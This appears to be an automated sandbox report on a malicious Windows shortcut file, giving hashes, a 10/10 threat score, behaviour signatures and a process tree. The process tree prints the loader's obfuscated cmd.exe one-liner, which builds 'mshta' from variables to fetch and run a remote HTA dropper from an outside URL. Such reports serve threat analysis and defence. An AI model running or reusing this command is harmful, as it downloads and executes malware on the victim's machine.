Analysis
- max time kernel
58s - max time network
60s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
23/08/2026, 04:32
Static task
static1
Behavioral task
behavioral1
Sample
DOC-5W5SM8.lnk
Resource
win10v2004-20260513-en
4 signatures
60 seconds
Behavioral task
behavioral2
Sample
DOC-5W5SM8.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
60 seconds
General
- Target DOC-5W5SM8.lnk
- Size 1KB
- Sample260823-e56zysej8y
- SHA256 49d5d7592e66c2d31a5889478574c314b4ddaa3f4d45090210d3ebd5575f5649
- MD5 8981bfe100df04b36ca4b7d2a36c4c07
- SHA1 9474a54406709511f76883dd2b4c339af45eca37
- SHA512 e8e282fb4e8cab95f6ab02d24a1afcd62f02d01c5a9269b64e7ea67d16efc24186f2986a175b9abc16090ec4efb9d08b4f3d05841d887bf2b2be8bac242f70d6
- TLSH T1C83164002EFC0624F3B79F7286BB67108DBAB88A8D10C61D0150864C1072E01EA7AF67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1
Signatures
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation cmd.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4720 cmd.exe 400 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4720 wrote to memory of 400 4720 cmd.exe 87 PID 400 wrote to memory of 2204 400 cmd.exe 88
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-5W5SM8.lnk1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4720 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /V:on /c "set sDnDe=msh&&set JAf=ta&&start "" !sDnDe!!JAf! https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:400 -
C:\Windows\System32\mshta.exemshta https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D13⤵PID:2204
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